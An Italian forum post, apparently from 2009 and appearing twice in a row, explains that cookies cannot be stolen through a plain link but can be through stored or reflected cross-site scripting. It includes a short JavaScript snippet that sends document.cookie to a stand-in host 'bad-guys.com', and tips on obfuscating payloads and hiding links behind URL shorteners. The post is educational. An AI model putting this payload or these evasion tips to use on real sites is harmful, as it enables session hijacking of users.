Sisupoika
22-05-2009, 14:23
Con riferimento al post dal titolo "Un sito cookie-grabber? (http://www.hwupgrade.it/forum/showthread.php?t=1986925)".
Spesso noto questa confusione a proposito di link "sospetti", e forse e' il caso di sfatare un mito correlato al "furto di cookies".
Anche perche' di informazioni chiare in Italiano sul soggetto non abbondano, e di cazzate in giro ne leggo una marea :D
Attraverso un semplice link, non e' normalmente possibile, per un sito malevolo (o come cavolo si dice in Italiano :D), "rubare" cookies appartenenti ad un altro sito.
Tanto per cominciare, un cookie e' soltanto accessibile da pagine nello stesso dominio o tra pagine provenienti da sottodomini dello stesso dominio (per es. tld1.domain.com e tld2.domain.com) se i cookie sono cosi' configurati da chi li progetta. Poi c'e' tutto un discorso a proposito di P3P (platform for privacy preferences) che meriterebbe una discussione a parte a causa di restrizioni, problemi, e casini che a volte comporta a causa della differente implementazione nei vari browsers. Rimaniamo dunque al discorso dei domini per semplificare.
A causa di questa naturale restrizione a proposito dei domini, un semplice link dunque non puo' direttamente rubare un cookie per l'autenticazione su altro sito in alcun modo, anche perche' non esiste sintassi o metodo - che io conosca o ricordi in questo momento - per far cio' attraverso un semplice link anche qualora non vi fosse, supponendo, la restrizione del dominio.
E' possibilissimo invece, e a volte semplice, rubare un cookie usando un link, qualora il sito "vittima" soffra di un tipo di vulnerabilita' di solito definita "reflected cross site scripting". Forse faccio prima con un esempio :D
Prima pero', un brevissimo riferimento ad una sua cugina, la "stored cross site scripting" vulnerability, che aiutera' imho a capire piu' facilmente.
Supponiamo che il sito sitofigo.com abbia una pagina attraverso la quale un utente loggato possa inviare un post in un forum o qualcosa del genere. Supponiamo, allo stesso tempo, che la pagina che (sul server) si occupa del salvataggio di quel post su database, non effettui un controllo (html sanitization) su cio' che quel post contiene, e che dunque visualizzi quanto viene inviato, piu' o meno cosi' com'e, a tutti gli utenti loggati a quel sito che visitino quella stessa pagina.
E' possibile, in questo contesto, immettere nella pagina del JavaScript che dinamicamente inietti nella pagina un semplice IMG tag (di solito) nel modo seguente, o simili:
var fake_img = new Image();
fake_img.src = "//bad-guys.com/gimme-your-cookies/?" + encodeURIcomponent(document.cookie);
Cosa accade cosi' facendo? Semplice: quella immagine non verra' notata dall'utente, ma causera' di nascosto una HTTP request verso il sito di chi attacca, inviando il cookie con il quale si e' in quel momento loggati sul sito vittima (encodeURIcomponent serve semplicemente per formattare una stringa per l'uso in uno URL correttamente formato).
Cio' e' possibile poiche' quel codice JavaScript viene eseguito nel contesto / dominio del sito vittima, e pertanto puo' accedere alla proprieta' "cookie" dell'oggetto document.
Tornando al discorso dei links: e' spesso possibile "rubare" cookies in una tecnica simile chiamata, come dicevo, "reflected cross site scripting".
E' molto simile, ma differisce nel fatto che nel primo caso (stored XSS) bisogna inviare un form e persistere dei dati in un database, in modo che altri utenti vengano compromessi nel modo sopra descritto.
Il "reflected cross site scripting", per funzionare, ha ancora bisogno della stessa vulnerabilita' su un sito vittima (la mancanza di una corretta procedura di html sanitization or whitelisting), ma senza il bisogno di persistere nulla su un database.
Supponiamo che sitofigo.com abbia, per esempio, una procedura di registrazione che al termine presenti una pagina con uno URL del tipo:
http://sitofigo.com/pagina-vulnerabile/?show_message=Thanks+for+registering+bla+bla+bla
e che il messaggio "Thanks for registering bla bla bla" venga visualizzato nella pagina, cosi' com'e'.
Come vedete, un parametro viene usato per passare questo messaggio a seconda del risultato di una operazione (nell'esempio parlo di registrazione ma qualunque pagina con un comportamento simile va bene).
Se il sito in questione, come nel caso di "stored XSS" non filtra adeguatamente il valore di quel parametro (sorvolando per un attimo sul fatto che tale pratica e' completamente sbagliata a prescindere), un attaccante potrebbe passare all'applicazione, attraverso quel parametro, un codice JavaScript simile a quello mostrato in precedenza, opportunamente formattato.
Il risultato sarebbe lo stesso del precedente caso (furto di cookie) con le seguenti differenze:
1) stored XSS:
pros:
- e' molto piu' frequente. Purtroppo la maggioranza dei web developers si concentra su sciocchezzuole come SQL injection (spesso neanche in maniera completa, ignorando la miriade di possibilita' - soprattutto l'encoding - e limitandosi a filtrare il singolo ' con doppio '' :asd: ) e ignora l'html sanitization o se ne preoccupa in maniera non adeguata. Ci sono troppi modi per offuscare, formattare dell'html per bypassare questi controlli, e che io sappia l'unica maniera sicura per accettare input dell'utente e' il whitelisting (consentire soltanto cio' che si vuole)
cons:
- c'e' bisogno di persistere su database o filesystem il codice "maligno"
- quanto di cui al precedente punto ha il secondo svantaggio che cio' rende molto piu' semplice e probabile scoprire l'attacco
- l'attaccante nuo puo' cambiare URLs o fare modifiche all'attacco velocemente, senza farlo mentre e' loggato lui stesso all'applicazione
2) reflected XSS:
pros:
- non e' necessario persistere alcunche' nel database o filesystem del sito vittima
- l'attacco e' completamente esterno al sito vittima: l'attaccante puo' semplicente mettere links costruiti nell'apposito modo descritto sopra su forums, blogs, dove gli pare. Gli utenti che cliccano su quei links e sono loggati al sito vittima attraverso cookies, possono essere facilmente compromessi.
- per i motivi di cui sopra, non e' facile scoprire l'attacco rapidamente
- l'attaccante puo' offuscare il JavaScript passato come parametro in modo che non possa essere facilmente riconosciuto da un utente piu' attento
- l'attaccante puo' rendere il tutto ulteriormente piu' difficile da scopire, utilizzando servizi di URL shortening (come bit.ly, tinyurl.com, eccetera - pensate a quanto li si usa su Twitter, Digg, eccetera!) che nascondino a prima vista gli URL verso i quali fanno redirection.
- qualora l'attacco venisse scoperto e l'attaccante sia stato cosi' stupido da mettere links su siti a lui riconducibili (es. un suo blog, un forum post a suo nome, ecc), egli puo' rapidamente eliminare le tracce ( = i links ) senza dover essere loggato al sito vittima e senza dover intervenire sul sito vittima.
cons:
- e' molto meno frequente, perche' (fortunatamente la maggioranza dei siti non passa parametri stringa in quel modo)
Si sara' capito, dunque, che in particolari circostanza e' possibile rubare cookies attraverso links, ma contrariamente a quanti molti pensano, e' necessario che il sito vittima soffra della vulnerabilita' descritta sopra.
Ripeto: non e' possibile rubare cookies attraverso un semplice link. :)
Nota: qualunque sito vi capiti di trovare, che usa parametri nello URL per messaggi ecc. che vengono visualizzati nelle pagine cosi' come sono, sono quasi certamente vulnerabili a reflected cross site scripting.
E, credetemi, nonostante non sia proprio frequentissimo, vi soprendereste nell'apprendere quanti siti comunque ne sono affetti :D
Lavoro per un gruppo internazionale che si occupa di advertising e lead generation online, e quindi su applicazioni dal traffico/impressions enorme in vari paesi, e mi capita di collaborare con una marea di aziende partner (fra i nostri parners per l'advertising c'e' Yahoo, per fare un esempio).
Sia nei siti di partners che su quelli di publishers, trovo vulnerabilita' di questo tipo con frequenza forse settimanale. :D
Spero che questo post (che mi ha fatto posticipare la pausa pranzo :D) vi torni utile per capire un po' meglio come queste cose funzionano, almeno per coloro i quali hanno meno famigliarita' con la materia.
Adesso vado a magna', senno' svengo :D
Spesso noto questa confusione a proposito di link "sospetti", e forse e' il caso di sfatare un mito correlato al "furto di cookies".
Anche perche' di informazioni chiare in Italiano sul soggetto non abbondano, e di cazzate in giro ne leggo una marea :D
Attraverso un semplice link, non e' normalmente possibile, per un sito malevolo (o come cavolo si dice in Italiano :D), "rubare" cookies appartenenti ad un altro sito.
Tanto per cominciare, un cookie e' soltanto accessibile da pagine nello stesso dominio o tra pagine provenienti da sottodomini dello stesso dominio (per es. tld1.domain.com e tld2.domain.com) se i cookie sono cosi' configurati da chi li progetta. Poi c'e' tutto un discorso a proposito di P3P (platform for privacy preferences) che meriterebbe una discussione a parte a causa di restrizioni, problemi, e casini che a volte comporta a causa della differente implementazione nei vari browsers. Rimaniamo dunque al discorso dei domini per semplificare.
A causa di questa naturale restrizione a proposito dei domini, un semplice link dunque non puo' direttamente rubare un cookie per l'autenticazione su altro sito in alcun modo, anche perche' non esiste sintassi o metodo - che io conosca o ricordi in questo momento - per far cio' attraverso un semplice link anche qualora non vi fosse, supponendo, la restrizione del dominio.
E' possibilissimo invece, e a volte semplice, rubare un cookie usando un link, qualora il sito "vittima" soffra di un tipo di vulnerabilita' di solito definita "reflected cross site scripting". Forse faccio prima con un esempio :D
Prima pero', un brevissimo riferimento ad una sua cugina, la "stored cross site scripting" vulnerability, che aiutera' imho a capire piu' facilmente.
Supponiamo che il sito sitofigo.com abbia una pagina attraverso la quale un utente loggato possa inviare un post in un forum o qualcosa del genere. Supponiamo, allo stesso tempo, che la pagina che (sul server) si occupa del salvataggio di quel post su database, non effettui un controllo (html sanitization) su cio' che quel post contiene, e che dunque visualizzi quanto viene inviato, piu' o meno cosi' com'e, a tutti gli utenti loggati a quel sito che visitino quella stessa pagina.
E' possibile, in questo contesto, immettere nella pagina del JavaScript che dinamicamente inietti nella pagina un semplice IMG tag (di solito) nel modo seguente, o simili:
var fake_img = new Image();
fake_img.src = "//bad-guys.com/gimme-your-cookies/?" + encodeURIcomponent(document.cookie);
Cosa accade cosi' facendo? Semplice: quella immagine non verra' notata dall'utente, ma causera' di nascosto una HTTP request verso il sito di chi attacca, inviando il cookie con il quale si e' in quel momento loggati sul sito vittima (encodeURIcomponent serve semplicemente per formattare una stringa per l'uso in uno URL correttamente formato).
Cio' e' possibile poiche' quel codice JavaScript viene eseguito nel contesto / dominio del sito vittima, e pertanto puo' accedere alla proprieta' "cookie" dell'oggetto document.
Tornando al discorso dei links: e' spesso possibile "rubare" cookies in una tecnica simile chiamata, come dicevo, "reflected cross site scripting".
E' molto simile, ma differisce nel fatto che nel primo caso (stored XSS) bisogna inviare un form e persistere dei dati in un database, in modo che altri utenti vengano compromessi nel modo sopra descritto.
Il "reflected cross site scripting", per funzionare, ha ancora bisogno della stessa vulnerabilita' su un sito vittima (la mancanza di una corretta procedura di html sanitization or whitelisting), ma senza il bisogno di persistere nulla su un database.
Supponiamo che sitofigo.com abbia, per esempio, una procedura di registrazione che al termine presenti una pagina con uno URL del tipo:
http://sitofigo.com/pagina-vulnerabile/?show_message=Thanks+for+registering+bla+bla+bla
e che il messaggio "Thanks for registering bla bla bla" venga visualizzato nella pagina, cosi' com'e'.
Come vedete, un parametro viene usato per passare questo messaggio a seconda del risultato di una operazione (nell'esempio parlo di registrazione ma qualunque pagina con un comportamento simile va bene).
Se il sito in questione, come nel caso di "stored XSS" non filtra adeguatamente il valore di quel parametro (sorvolando per un attimo sul fatto che tale pratica e' completamente sbagliata a prescindere), un attaccante potrebbe passare all'applicazione, attraverso quel parametro, un codice JavaScript simile a quello mostrato in precedenza, opportunamente formattato.
Il risultato sarebbe lo stesso del precedente caso (furto di cookie) con le seguenti differenze:
1) stored XSS:
pros:
- e' molto piu' frequente. Purtroppo la maggioranza dei web developers si concentra su sciocchezzuole come SQL injection (spesso neanche in maniera completa, ignorando la miriade di possibilita' - soprattutto l'encoding - e limitandosi a filtrare il singolo ' con doppio '' :asd: ) e ignora l'html sanitization o se ne preoccupa in maniera non adeguata. Ci sono troppi modi per offuscare, formattare dell'html per bypassare questi controlli, e che io sappia l'unica maniera sicura per accettare input dell'utente e' il whitelisting (consentire soltanto cio' che si vuole)
cons:
- c'e' bisogno di persistere su database o filesystem il codice "maligno"
- quanto di cui al precedente punto ha il secondo svantaggio che cio' rende molto piu' semplice e probabile scoprire l'attacco
- l'attaccante nuo puo' cambiare URLs o fare modifiche all'attacco velocemente, senza farlo mentre e' loggato lui stesso all'applicazione
2) reflected XSS:
pros:
- non e' necessario persistere alcunche' nel database o filesystem del sito vittima
- l'attacco e' completamente esterno al sito vittima: l'attaccante puo' semplicente mettere links costruiti nell'apposito modo descritto sopra su forums, blogs, dove gli pare. Gli utenti che cliccano su quei links e sono loggati al sito vittima attraverso cookies, possono essere facilmente compromessi.
- per i motivi di cui sopra, non e' facile scoprire l'attacco rapidamente
- l'attaccante puo' offuscare il JavaScript passato come parametro in modo che non possa essere facilmente riconosciuto da un utente piu' attento
- l'attaccante puo' rendere il tutto ulteriormente piu' difficile da scopire, utilizzando servizi di URL shortening (come bit.ly, tinyurl.com, eccetera - pensate a quanto li si usa su Twitter, Digg, eccetera!) che nascondino a prima vista gli URL verso i quali fanno redirection.
- qualora l'attacco venisse scoperto e l'attaccante sia stato cosi' stupido da mettere links su siti a lui riconducibili (es. un suo blog, un forum post a suo nome, ecc), egli puo' rapidamente eliminare le tracce ( = i links ) senza dover essere loggato al sito vittima e senza dover intervenire sul sito vittima.
cons:
- e' molto meno frequente, perche' (fortunatamente la maggioranza dei siti non passa parametri stringa in quel modo)
Si sara' capito, dunque, che in particolari circostanza e' possibile rubare cookies attraverso links, ma contrariamente a quanti molti pensano, e' necessario che il sito vittima soffra della vulnerabilita' descritta sopra.
Ripeto: non e' possibile rubare cookies attraverso un semplice link. :)
Nota: qualunque sito vi capiti di trovare, che usa parametri nello URL per messaggi ecc. che vengono visualizzati nelle pagine cosi' come sono, sono quasi certamente vulnerabili a reflected cross site scripting.
E, credetemi, nonostante non sia proprio frequentissimo, vi soprendereste nell'apprendere quanti siti comunque ne sono affetti :D
Lavoro per un gruppo internazionale che si occupa di advertising e lead generation online, e quindi su applicazioni dal traffico/impressions enorme in vari paesi, e mi capita di collaborare con una marea di aziende partner (fra i nostri parners per l'advertising c'e' Yahoo, per fare un esempio).
Sia nei siti di partners che su quelli di publishers, trovo vulnerabilita' di questo tipo con frequenza forse settimanale. :D
Spero che questo post (che mi ha fatto posticipare la pausa pranzo :D) vi torni utile per capire un po' meglio come queste cose funzionano, almeno per coloro i quali hanno meno famigliarita' con la materia.
Adesso vado a magna', senno' svengo :D